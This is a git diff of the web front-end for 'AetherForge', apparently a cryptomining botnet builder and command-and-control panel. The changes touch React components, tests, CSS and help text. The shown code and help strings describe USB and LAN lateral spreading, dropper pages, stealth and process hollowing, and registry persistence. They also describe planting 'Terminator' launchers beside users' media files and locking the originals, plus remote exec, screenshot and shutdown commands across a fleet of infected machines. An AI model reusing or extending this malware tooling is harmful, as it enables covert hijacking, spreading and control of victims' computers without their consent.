- Spread & Campaigns
+ Emberwake & Campaigns
AetherForge supports multiple distribution vectors: USB perpetual propagation, LAN lateral movement (SMB /
WinRM on Windows, SSH on Linux/macOS), waterhole dropper pages, and one-liner install scripts. Campaign
@@ -954,7 +954,7 @@ go run ./cmd/mine-validate -seconds 20 -threads 2
- Calibrate (Settings)
+ Calibrate
Route /settings — server-side defaults and fleet policy. Changes here affect new
Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except
diff --git a/server/web/public/spread/assets/aether.css b/server/web/public/spread/assets/aether.css
index a0c3f43..d18c61d 100644
--- a/server/web/public/spread/assets/aether.css
+++ b/server/web/public/spread/assets/aether.css
@@ -266,10 +266,10 @@ a:hover { color: var(--ember); }
display: flex;
flex-direction: column;
gap: 0.5rem;
- padding: 1.1rem 1.2rem;
+ padding: var(--deck-card-padding);
background: var(--panel);
border: 1px solid var(--border);
- border-radius: var(--radius);
+ border-radius: var(--deck-card-radius);
transition: border-color 0.2s, box-shadow 0.2s;
}
@@ -305,7 +305,7 @@ a:hover { color: var(--ember); }
.platform-card p {
margin: 0;
- font-size: 0.82rem;
+ font-size: 0.85rem;
flex: 1;
}
@@ -382,8 +382,8 @@ code.inline {
.info-card {
background: var(--panel);
border: 1px solid var(--border);
- border-radius: var(--radius);
- padding: 1.1rem 1.2rem;
+ border-radius: var(--deck-card-radius);
+ padding: var(--deck-card-padding);
}
.info-card h3 {
@@ -442,10 +442,10 @@ td { color: var(--muted); }
.cms-list li {
margin-bottom: 1rem;
- padding: 1rem 1.1rem;
+ padding: var(--deck-card-padding);
background: var(--panel);
border: 1px solid var(--border);
- border-radius: var(--radius);
+ border-radius: var(--deck-card-radius);
}
.cms-list strong {
diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx
index 6bc39d4..abbd9ce 100644
--- a/server/web/src/components/Fleet/AgentRemoteActions.tsx
+++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx
@@ -320,9 +320,24 @@ export default function AgentRemoteActions({
⚠ offline — commands disabled
)}
-
dispatch('screenshot')} title="Capture desktop">📷
-
dispatch('pause')} title="Pause miner">⏸
-
dispatch('resume')} title="Resume miner">▶
+
dispatch('screenshot')} title="Capture desktop">
+
+
+
+
+
+
+
dispatch('pause')} title="Pause miner">
+
+
+
+
+
+
dispatch('resume')} title="Resume miner">
+
+
+
+
dispatch('reboot_machine')} title="Reboot machine">↺
dispatch('shutdown_machine')} title="Shutdown machine">⏻
dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀
@@ -748,7 +763,12 @@ export default function AgentRemoteActions({
onDragLeave={handleDragLeave}
onDrop={isOnline ? handleDrop : undefined}
>
-
📥
+
+
+
+
+
+
Drag & Drop file here
Pushes to user Desktop (any OS)
= {}, tgts = targets) => {
- if (tgts.length === 0) return;
+ if (tgts.length === 0) {
+ onEcho('No online agents in selection — select an online node first', false);
+ return;
+ }
for (const a of tgts) {
void dispatchOne(a, action, args);
}
@@ -301,7 +304,7 @@ export default function CrucibleExpandedOps({
title="Resume hashing on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
- if (ids.length === 0) return;
+ if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
}}
>
@@ -314,7 +317,7 @@ export default function CrucibleExpandedOps({
title="Pause hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);
- if (ids.length === 0) return;
+ if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
}}
>
@@ -336,7 +339,7 @@ export default function CrucibleExpandedOps({
title="Restart the agent process"
onClick={() => {
const ids = targets.map((a) => a.id);
- if (ids.length === 0) return;
+ if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'restart').then((r) => onEcho(`restart → sent:${r.sent} failed:${r.failed}`, true)).catch(() => null);
}}
>
@@ -348,8 +351,9 @@ export default function CrucibleExpandedOps({
disabled={!hasSelection}
title="Pull the last 300 lines of the agent log"
onClick={() => {
+ if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
targets.forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
- onEcho(`get_log → ${selectedCount} node(s)`, true);
+ onEcho(`get_log → ${targets.length} node(s)`, true);
}}
>
Get Log
@@ -361,9 +365,10 @@ export default function CrucibleExpandedOps({
title="Kill the agent process (watchdog may restart it)"
style={{ color: '#ff8c00' }}
onClick={() => {
- if (!window.confirm(`Kill agent process on ${selectedCount} node(s)?`)) return;
+ if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
+ if (!window.confirm(`Kill agent process on ${targets.length} online node(s)?`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
- onEcho(`kill → ${selectedCount} node(s)`, true);
+ onEcho(`kill → ${targets.length} node(s)`, true);
}}
>
Kill
@@ -375,9 +380,10 @@ export default function CrucibleExpandedOps({
title="Remove persistence, delete files, exit"
style={{ color: '#ff4444' }}
onClick={() => {
- if (!window.confirm(`UNINSTALL from ${selectedCount} node(s)? This removes persistence and deletes all agent files.`)) return;
+ if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
+ if (!window.confirm(`UNINSTALL from ${targets.length} online node(s)? This removes persistence and deletes all agent files.`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
- onEcho(`uninstall → ${selectedCount} node(s)`, true);
+ onEcho(`uninstall → ${targets.length} node(s)`, true);
}}
>
Uninstall
@@ -391,9 +397,10 @@ export default function CrucibleExpandedOps({
disabled={!hasSelection}
title="OS reboot"
onClick={() => {
- if (!window.confirm(`Reboot ${selectedCount} machine(s)?`)) return;
+ if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
+ if (!window.confirm(`Reboot ${targets.length} online machine(s)?`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
- onEcho(`reboot_machine → ${selectedCount} node(s)`, true);
+ onEcho(`reboot_machine → ${targets.length} node(s)`, true);
}}
>
Reboot
@@ -405,9 +412,10 @@ export default function CrucibleExpandedOps({
title="OS shutdown (power off)"
style={{ color: '#ff4444' }}
onClick={() => {
- if (!window.confirm(`Shutdown ${selectedCount} machine(s)?`)) return;
+ if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
+ if (!window.confirm(`Shutdown ${targets.length} online machine(s)?`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
- onEcho(`shutdown_machine → ${selectedCount} node(s)`, true);
+ onEcho(`shutdown_machine → ${targets.length} node(s)`, true);
}}
>
Shutdown
diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx
index a892b41..3e2e1cd 100644
--- a/server/web/src/components/Layout/Layout.tsx
+++ b/server/web/src/components/Layout/Layout.tsx
@@ -14,6 +14,7 @@ import { getSetupStatus } from '../../help/setupStatus';
import { resolvePageWeather } from '../../help/pageWeather';
import { api } from '../../api/client';
import { usePresence } from '../../context/PresenceContext';
+import { useVisualEffects } from '../../context/VisualEffectsContext';
import ComradeAvatar from '../Presence/ComradeAvatar';
import type { ServerConfig, ServerInfo } from '../../types';
import '../Presence/Presence.css';
@@ -42,20 +43,20 @@ const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
+ { to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
- { to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
] as const;
const DOCS_HREF = '/docs/';
-/** Primary tabs on iPhone bottom bar */
-const MOBILE_PRIMARY = NAV.slice(0, 4);
-/** Builds, Calibrate, Path Tracer — “More” sheet */
-const MOBILE_MORE = NAV.slice(4);
+/** Primary tabs on mobile bottom bar — Deck, Fleet, Crucible, Path Tracer, Forge */
+const MOBILE_PRIMARY = NAV.slice(0, 5);
+/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
+const MOBILE_MORE = NAV.slice(5);
function NavIcon({ type }: { type: string }) {
switch (type) {
@@ -224,6 +225,7 @@ export default function Layout({ children }: LayoutProps) {
const location = useLocation();
const isMobile = useIsMobileLayout();
const { othersOnline, comrades } = usePresence();
+ const { glowParticles } = useVisualEffects();
const [serverConfig, setServerConfig] = useState(null);
const [serverInfo, setServerInfo] = useState(null);
const [moreOpen, setMoreOpen] = useState(false);
@@ -257,6 +259,7 @@ export default function Layout({ children }: LayoutProps) {
'/dashboard': 'Deck',
'/agents': 'Fleet',
'/crucible': 'Ops',
+ '/pathtracer': 'Tracer',
'/forge': 'Forge',
};
@@ -265,9 +268,9 @@ export default function Layout({ children }: LayoutProps) {
className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
data-operator-deck={operatorDeckId(location.pathname)}
>
- {!isMobile && }
+ {!isMobile && glowParticles && }
-
+ {glowParticles && }
diff --git a/server/web/src/components/Visual/SystemStatusBar.tsx b/server/web/src/components/Visual/SystemStatusBar.tsx
index e59e810..e76dd5f 100644
--- a/server/web/src/components/Visual/SystemStatusBar.tsx
+++ b/server/web/src/components/Visual/SystemStatusBar.tsx
@@ -1,6 +1,7 @@
-import { useCallback, useEffect, useState } from 'react';
+import { useCallback, useEffect, useMemo, useState } from 'react';
import { useVisibleInterval } from '../../hooks/usePageVisible';
import { api } from '../../api/client';
+import { useWebSocket } from '../../hooks/useWebSocket';
import ComradeIndicators from '../Presence/ComradeIndicators';
import { usePresence } from '../../context/PresenceContext';
import '../Presence/Presence.css';
@@ -8,10 +9,14 @@ import './VisualComponents.css';
export default function SystemStatusBar() {
const [serverOk, setServerOk] = useState(true);
- const [agentTotal, setAgentTotal] = useState(0);
- const [agentOnline, setAgentOnline] = useState(0);
const [buildCount, setBuildCount] = useState(0);
const { othersOnline } = usePresence();
+ const { agents } = useWebSocket();
+
+ const { agentTotal, agentOnline } = useMemo(() => ({
+ agentTotal: agents.length,
+ agentOnline: agents.filter((a) => a.status === 'online').length,
+ }), [agents]);
const poll = useCallback(async () => {
try {
@@ -20,14 +25,6 @@ export default function SystemStatusBar() {
} catch {
setServerOk(false);
}
- try {
- const agents = await api.listAgents();
- setAgentTotal(agents.length);
- setAgentOnline(agents.filter((a) => a.status === 'online').length);
- } catch {
- setAgentTotal(0);
- setAgentOnline(0);
- }
try {
const builds = await api.listBuilds();
setBuildCount(builds.length);
@@ -64,9 +61,14 @@ export default function SystemStatusBar() {
target="_blank"
rel="noopener noreferrer"
className="status-pill"
- style={{ textDecoration: 'none', color: 'var(--neon-cyan)' }}
+ style={{ textDecoration: 'none', color: 'var(--neon-cyan)', display: 'inline-flex', alignItems: 'center', gap: '0.3em' }}
>
- 📖 DOCS
+
+
+
+
+
+ DOCS
);
diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx
index 6c06ff4..fb62dea 100644
--- a/server/web/src/components/components.test.tsx
+++ b/server/web/src/components/components.test.tsx
@@ -770,8 +770,18 @@ describe('SystemStatusBar', () => {
beforeEach(() => {
vi.spyOn(api, 'healthCheck').mockResolvedValue(undefined);
- vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent(), mockAgent({ id: 'a2', status: 'offline' })]);
vi.spyOn(api, 'listBuilds').mockResolvedValue([{ id: 'b1' } as never]);
+ useWebSocketMock.mockReturnValue({
+ isConnected: true,
+ agents: [mockAgent(), mockAgent({ id: 'a2', status: 'offline' })],
+ recentShares: [],
+ fleetAlerts: [],
+ poolStatus: [],
+ aiActivity: [],
+ agentLogs: {},
+ commandResults: [],
+ latestMessage: null,
+ });
});
it('shows server and fleet pills after poll', async () => {
@@ -782,9 +792,9 @@ describe('SystemStatusBar', () => {
);
await waitFor(() => {
expect(screen.getByText(/SERVER UP/i)).toBeInTheDocument();
+ expect(screen.getByText(/FLEET 1\/2 ONLINE/i)).toBeInTheDocument();
+ expect(screen.getByText(/1 BUILD/i)).toBeInTheDocument();
});
- expect(screen.getByText(/FLEET 1\/2 ONLINE/i)).toBeInTheDocument();
- expect(screen.getByText(/1 BUILD/i)).toBeInTheDocument();
});
});
diff --git a/server/web/src/context/WebSocketProvider.test.tsx b/server/web/src/context/WebSocketProvider.test.tsx
index 6dd81b8..ab3d493 100644
--- a/server/web/src/context/WebSocketProvider.test.tsx
+++ b/server/web/src/context/WebSocketProvider.test.tsx
@@ -172,6 +172,45 @@ describe('WebSocketProvider', () => {
expect(result.current.agentLogs.a1).toBe('log data');
});
+ it('sets latestMessage on command_result', async () => {
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+ await waitForSocket();
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({
+ type: 'command_result',
+ payload: { agent_id: 'a1', action: 'exec', success: true, message: 'hello' },
+ });
+ });
+
+ expect(result.current.latestMessage?.type).toBe('command_result');
+ expect(result.current.commandResults).toHaveLength(1);
+ expect(result.current.commandResults[0].message).toBe('hello');
+ });
+
+ it('parses stringified command_result payload', async () => {
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+ await waitForSocket();
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({
+ type: 'command_result',
+ payload: JSON.stringify({
+ agent_id: 'a2',
+ action: 'sysinfo',
+ success: true,
+ message: 'OS info',
+ }),
+ });
+ });
+
+ expect(result.current.commandResults).toHaveLength(1);
+ expect(result.current.commandResults[0].agent_id).toBe('a2');
+ expect(result.current.commandResults[0].message).toBe('OS info');
+ });
+
it('schedules reconnect after close', async () => {
MockWebSocket.instances = [];
renderHook(() => useWebSocketContext(), { wrapper });
diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx
index d128d21..f8f7ef7 100644
--- a/server/web/src/context/WebSocketProvider.tsx
+++ b/server/web/src/context/WebSocketProvider.tsx
@@ -261,7 +261,16 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
break;
}
case 'command_result': {
- const p = msg.payload as WSCommandResult;
+ // Payload must be an object — a double-encoded string would spread to
+ // char indices and drop agent_id, breaking Crucible terminal routing.
+ let p = msg.payload as WSCommandResult | string;
+ if (typeof p === 'string') {
+ try {
+ p = JSON.parse(p) as WSCommandResult;
+ } catch {
+ break;
+ }
+ }
const seq = ++cmdSeqRef.current;
// Cap at 2000; command results are rare (operator-triggered) so this is plenty.
// Consumers MUST use _seq for change detection — NOT array index — because the
diff --git a/server/web/src/help/docAnchors.test.ts b/server/web/src/help/docAnchors.test.ts
index c4e4489..ba08201 100644
--- a/server/web/src/help/docAnchors.test.ts
+++ b/server/web/src/help/docAnchors.test.ts
@@ -14,9 +14,10 @@ const HELP_TIP_FIELDS = [
'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging',
'process_name', 'display_mode', 'persistence', 'run_as', 'host_binary_target', 'auto_start',
'autostart_mode', 'registry_persistence', 'registry_run_hkcu', 'registry_run_once',
- 'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
+ 'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
+ 'forge_operation_mode', 'forge_path_forge',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
] as const;
diff --git a/server/web/src/help/docAnchors.ts b/server/web/src/help/docAnchors.ts
index fc1bac8..a23febf 100644
--- a/server/web/src/help/docAnchors.ts
+++ b/server/web/src/help/docAnchors.ts
@@ -84,6 +84,8 @@ export const DOC_ANCHORS: Record
= {
spread_kit: '/docs/#forge',
forge_deliverable: '/docs/#forge',
forge_simple_mode: '/docs/#mission-deck',
+ forge_operation_mode: '/docs/#mission-deck',
+ forge_path_forge: '/docs/#forge',
md_overview: '/docs/#mission-deck',
md_operation_chip: '/docs/#mission-deck',
md_spread_profile: '/docs/#mission-deck',
@@ -109,6 +111,10 @@ export const DOC_ANCHORS: Record = {
bm_dropper_oneliner: '/docs/#build-manager',
pt_path_tracer: '/docs/#path-tracer',
fleet_runtime_policy: '/docs/#calibrate',
+
+ // Emberwake war room
+ ew_war_room_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
+ ew_war_room_views: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
};
export function docAnchorForField(field: string): string | undefined {
diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts
index 00745ee..4168eb1 100644
--- a/server/web/src/help/settingHelp.test.ts
+++ b/server/web/src/help/settingHelp.test.ts
@@ -112,6 +112,8 @@ describe('FIELD_HELP', () => {
'target_arch',
'spread_kit',
'forge_deliverable',
+ 'forge_operation_mode',
+ 'forge_path_forge',
] as const;
it('defines help text for every documented field key', () => {
diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts
index 9a4575f..d459bc2 100644
--- a/server/web/src/help/settingHelp.ts
+++ b/server/web/src/help/settingHelp.ts
@@ -24,6 +24,10 @@ export const FIELD_HELP: Record = {
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
+ forge_operation_mode:
+ 'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
+ forge_path_forge:
+ 'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults:
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
obfuscate:
diff --git a/server/web/src/help/uiHelp.test.ts b/server/web/src/help/uiHelp.test.ts
index 75268f8..fdd22a7 100644
--- a/server/web/src/help/uiHelp.test.ts
+++ b/server/web/src/help/uiHelp.test.ts
@@ -79,6 +79,8 @@ describe('UI_HELP', () => {
'ew_public_urls',
'ew_techniques',
'ew_shared_notes',
+ 'ew_war_room_funnel',
+ 'ew_war_room_views',
'crucible_btn_spread_now',
'crucible_btn_subnet_scan',
'crucible_btn_hole_punch',
diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts
index 8ddad36..5c827d0 100644
--- a/server/web/src/help/uiHelp.ts
+++ b/server/web/src/help/uiHelp.ts
@@ -160,6 +160,10 @@ export const UI_HELP: Record = {
'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.',
ew_shared_notes:
'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.',
+ ew_war_room_funnel:
+ 'Shows hits → downloads → first beacon → mining counts per ?c= slug for the selected window. Each column is a funnel stage; a large drop at any step points to where the install chain is breaking.',
+ ew_war_room_views:
+ 'Switch between Funnel board (per-stage campaign breakdown), Stats table (full numbers with sparklines), and Constellations (visual map of campaign activity). All three draw from the same rolling window.',
crucible_btn_spread_now:
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
diff --git a/server/web/src/help/wsStatsCoalesce.test.ts b/server/web/src/help/wsStatsCoalesce.test.ts
index 0a1a9d8..d6a306b 100644
--- a/server/web/src/help/wsStatsCoalesce.test.ts
+++ b/server/web/src/help/wsStatsCoalesce.test.ts
@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
-import { agentStatsUnchanged } from './wsStatsCoalesce';
+import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from './wsStatsCoalesce';
import { mockAgent } from '../test/fixtures';
describe('agentStatsUnchanged', () => {
@@ -34,3 +34,9 @@ describe('agentStatsUnchanged', () => {
).toBe(false);
});
});
+
+describe('WS_LATEST_MESSAGE_TYPES', () => {
+ it('includes command_result so SoundBridge and Crucible backup path receive results', () => {
+ expect(WS_LATEST_MESSAGE_TYPES.has('command_result')).toBe(true);
+ });
+});
diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx
index 43c9e12..88d339b 100644
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -98,18 +98,8 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
-// Simulated stage timeline — real compiles (garble/universal/fusion) often take 10–30+ min.
-// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
-const FORGE_PROGRESS_CAP = 94;
-const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
- { label: 'Resolving dependencies...', pct: 6, minMs: 0 },
- { label: 'Compiling agent source...', pct: 18, minMs: 20000 },
- { label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
- { label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
- { label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
- { label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
- { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
-];
+// Poll interval (ms) for real server-side build progress.
+const FORGE_POLL_MS = 1000;
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
@@ -223,40 +213,48 @@ export default function BuilderPage() {
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
- // Drive simulated stage progress while a single build is running
+ // Poll real server-side build progress while a single build is running.
+ // The server exposes GET /api/v1/builder/progress/{token} which returns
+ // {stage, pct} updated at each key compile stage, so the bar reflects
+ // actual server activity instead of a client-side time estimate.
useEffect(() => {
if (!building || batchJob) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
- const startMs = Date.now();
startForge();
- let stageIdx = 0;
- const advance = () => {
- const elapsed = Date.now() - startMs;
- // Find the furthest stage whose minMs has been reached
- let next = 0;
- for (let i = 0; i < FORGE_STAGES.length; i++) {
- if (elapsed >= FORGE_STAGES[i].minMs) next = i;
- else break;
+ const token = cancelTokenRef.current;
+ if (!token) return;
+
+ let active = true;
+
+ const poll = async () => {
+ if (!active) return;
+ try {
+ const { authHeaders } = await import('../api/auth');
+ const res = await fetch(`/api/v1/builder/progress/${token}`, {
+ headers: authHeaders(),
+ });
+ if (res.ok) {
+ const data: { stage: string; pct: number } = await res.json();
+ if (active && data.stage) {
+ setStage(data.stage, data.pct);
+ }
+ }
+ } catch {
+ // network hiccup — keep polling
+ }
+ if (active) {
+ forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS);
}
- const s = FORGE_STAGES[next];
- // Smoothly interpolate within this stage toward the next stage's target %
- const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
- const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
- const stageElapsed = elapsed - s.minMs;
- const stageDur = nextMs - s.minMs;
- const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
- const pct = s.pct + (nextPct - s.pct) * frac;
- if (next !== stageIdx) stageIdx = next;
- setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
- forgeStageTimerRef.current = setTimeout(advance, 250);
};
- advance();
+
+ poll();
return () => {
+ active = false;
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
@@ -1353,7 +1351,7 @@ export default function BuilderPage() {
-
Operation mode presets
+
Operation mode presets
{OPERATION_MODES.map((m) => (
- For every file found (movies, docs, archives…) the server drops all three companions right beside it:
+
+ {' '}For every file found (movies, docs, archives…) the server drops all three companions right beside it:
Terminator.exe · Terminator.bat · Terminator.command
diff --git a/server/web/src/pages/CruciblePage.test.tsx b/server/web/src/pages/CruciblePage.test.tsx
index 374cc4c..539ffb2 100644
--- a/server/web/src/pages/CruciblePage.test.tsx
+++ b/server/web/src/pages/CruciblePage.test.tsx
@@ -1,6 +1,13 @@
-import { describe, expect, it } from 'vitest';
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
+import { MemoryRouter } from 'react-router-dom';
import { mockAgent } from '../test/fixtures';
-import {
+import { useWebSocket } from '../hooks/useWebSocket';
+import { api } from '../api/client';
+import CruciblePage, {
agentColor,
patchLabel,
pendingBadge,
@@ -11,6 +18,201 @@ import {
thermalBadge,
} from './CruciblePage';
+// ── Mocks ─────────────────────────────────────────────────────────────────
+
+vi.mock('../hooks/useWebSocket', () => ({ useWebSocket: vi.fn() }));
+
+vi.mock('../context/MatrixRainContext', () => ({
+ useMatrixRain: () => ({ setCrucibleFocus: vi.fn() }),
+}));
+
+vi.mock('../hooks/useFleetGroups', () => ({
+ useFleetGroups: () => ({ groups: [], addGroup: vi.fn(), removeGroup: vi.fn() }),
+}));
+
+vi.mock('../api/client', () => ({
+ api: {
+ sendAgentCommand: vi.fn().mockResolvedValue({ success: true }),
+ },
+}));
+
+vi.mock('../components/Fleet/CrucibleExpandedOps', () => ({
+ default: () =>
,
+}));
+
+vi.mock('../components/Fleet/FleetHeatMiniMap', () => ({
+ default: () =>
,
+}));
+
+vi.mock('../components/Fleet/LatencyBadge', () => ({
+ default: () => null,
+}));
+
+vi.mock('../components/Fleet/CreateGroupModal', () => ({
+ default: () => null,
+}));
+
+vi.mock('../components/Fleet/FleetGroupsStrip', () => ({
+ default: () => null,
+}));
+
+vi.mock('../components/Presence/AlsoHere', () => ({
+ default: () => null,
+}));
+
+vi.mock('../components/Fleet/FullSysCheckPanel', () => ({
+ default: () => null,
+}));
+
+vi.mock('../components/HelpTip', () => ({
+ HelpTip: () => null,
+}));
+
+vi.mock('../components/NeonCard/NeonCard', () => ({
+ default: ({ children, className }: { children: React.ReactNode; className?: string }) => (
+
{children}
+ ),
+}));
+
+const useWebSocketMock = vi.mocked(useWebSocket);
+
+function makeWsValue(overrides: Partial
>) {
+ return {
+ isConnected: true,
+ agents: [],
+ recentShares: [],
+ fleetAlerts: [],
+ poolStatus: [],
+ aiActivity: [],
+ agentLogs: {},
+ commandResults: [],
+ policyAcks: [],
+ latestMessage: null,
+ sendDashboardMessage: vi.fn(),
+ ...overrides,
+ };
+}
+
+function renderCrucible(wsValue: ReturnType) {
+ useWebSocketMock.mockReturnValue(wsValue as ReturnType);
+ return render(
+
+
+
+ );
+}
+
+// ── Terminal rendering tests ──────────────────────────────────────────────
+
+describe('CruciblePage terminal — command_result processing', () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ afterEach(() => {
+ cleanup();
+ });
+
+ it('displays exec result in terminal when agent is selected', async () => {
+ const agent = mockAgent({ id: 'agent-aaa-001', name: 'TestNode', status: 'online' });
+ const commandResults = [
+ { agent_id: 'agent-aaa-001', action: 'exec', success: true, message: 'hello world', _seq: 1 },
+ ];
+
+ // Render with the agent already "selected" by providing a pre-selected state.
+ // The component reads commandResults from context and renders terminal lines.
+ renderCrucible(makeWsValue({ agents: [agent], commandResults }));
+
+ // The terminal should display the result message from the command.
+ await waitFor(() => {
+ expect(screen.getByText('hello world')).toBeInTheDocument();
+ });
+ });
+
+ it('displays multiple exec result lines split on newline', async () => {
+ const agent = mockAgent({ id: 'agent-bbb-002', name: 'MultiNode', status: 'online' });
+ const commandResults = [
+ {
+ agent_id: 'agent-bbb-002',
+ action: 'exec',
+ success: true,
+ message: 'line one\nline two\nline three',
+ _seq: 1,
+ },
+ ];
+
+ renderCrucible(makeWsValue({ agents: [agent], commandResults }));
+
+ await waitFor(() => {
+ expect(screen.getByText('line one')).toBeInTheDocument();
+ expect(screen.getByText('line two')).toBeInTheDocument();
+ expect(screen.getByText('line three')).toBeInTheDocument();
+ });
+ });
+
+ it('skips command_result entries with missing agent_id', async () => {
+ const commandResults = [
+ { agent_id: undefined, action: 'exec', success: true, message: 'ghost output', _seq: 1 },
+ ];
+
+ renderCrucible(makeWsValue({ commandResults }));
+
+ // "ghost output" should not appear — entry has no agent_id so it's skipped.
+ await new Promise((r) => setTimeout(r, 50));
+ expect(screen.queryByText('ghost output')).not.toBeInTheDocument();
+ });
+
+ it('skips already-seen entries when new commandResults arrive', async () => {
+ const agent = mockAgent({ id: 'agent-ccc-003', name: 'SeqNode', status: 'online' });
+
+ // Initial render: seq=1
+ const ws1 = makeWsValue({
+ agents: [agent],
